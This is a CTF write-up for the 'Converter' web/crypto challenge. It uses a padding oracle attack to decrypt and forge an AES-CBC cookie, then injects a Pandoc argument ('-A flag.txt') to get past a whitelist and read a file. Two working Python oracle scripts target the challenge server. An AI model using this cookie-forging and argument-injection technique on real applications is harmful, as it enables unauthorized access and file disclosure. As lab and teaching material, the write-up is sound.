P.W.N. CTF 2018: Converter (Web/Crypto 200)

October 28, 2018

Challenge Author: Team RedRocket
Category: Web, Crypto, Misc
Points: 200+176
Solves: 6

Description

This nifty new tool lets you convert your thesis!
To the tool

Writeup

For TL;DR see below.

The Application

It is a web application written in python. You can convert markup documents between various formats, like Markdown or LaTeX. In the first step, you specify the input/output formats and the content, which will get truncated to 500 characters. After submitting the form, you see a preview of the stuff you just entered (formats and content). After clicking Convert Now, you get the converted result. Based on the available formats in the dropdowns, it is likely that Pandoc is used for conversion.

By taking a closer look, you will see that after submitting the first form, the server responds a cookie that looks (for example) like this:

vals=b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763

This is hex encoded data with high entropy. Its length is related to the length of the content you submitted and the length (in bytes) is always a multiple of 16. When we change the last byte, we see an error: ValueError: Invalid padding bytes. When we change the first byte, we see another error: JSONDecodeError: Expecting value: line 1 column 1 (char 0). This suggests that the cookie contains AES-CBC-encrypted JSON data, in a pad-then-encrypt scheme, which is vulnerable to the Padding Oracle Attack.

The Exploit

To pull off the attack, I modified an old script of mine (s/o NetSec2 course @ RUB!). See resources for a cleaned-up and reusable version. The code for decrypting a cookie looks like this:

from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet

import requests


def oracle(cipher_hex):
    headers = {'Cookie': 'vals={}'.format(cipher_hex)}
    r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
    response = r.content

    if b'Invalid padding bytes.' not in response:
        return True
    else:
        return False


o = PaddingOracle(oracle, max_retries=-1)

cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763'
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
print('Plaintext: {}'.format(plain))

The decrypted cookie is {"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"}. Checking the pandoc docs, it seems like fs value is the input format (--from), ts value is the output format (--to) and c contains the input we provided. Nice, but what now?

Since the backend invokes Pandoc with user input, we might be able to inject commands. But if we try to do it in the first step, modyfing the dropdown’s value leads to an error: ValueError: Format not in whitelist. But it might work if we change the value in the cookie, which is set after the whitelist check! So in order to do that, we use the padding oracle to craft a modified but valid cookie. We inject another command line parameter -A flag.txt, which will append the flag to the input before conversion. (I’m making things short here, of course there were more iterations before I figured out how I can inject, what to inject and where the flag is)

from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet

import requests


def oracle(cipher_hex):
    headers = {'Cookie': 'vals={}'.format(cipher_hex)}
    r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
    response = r.content

    if b'Invalid padding bytes.' not in response:
        return True
    else:
        return False


o = PaddingOracle(oracle, max_retries=-1)

cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763'
plain     = b'{"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"}'
plain_new = b'{"f": "markdown -A flag.txt", "c": "DDDD", "t": "html4"}'

cipher_new = o.craft(cipher, plain, plain_new)
print('Modified: {}'.format(cipher_new))

Last step is setting the crafted cookie value and visiting the conversion page. Et voilà, le flag: flag{https://www.youtube.com/watch?v=71DdxJF8rmg#W00t_W00t}.

(Memes were 1010 at this CTF btw, s/o RedRocket)

TL;DR

Craft a malicious cookie via Padding Oracle to bypass a whitelist and do Command Injection to extract flag.txt.

Resources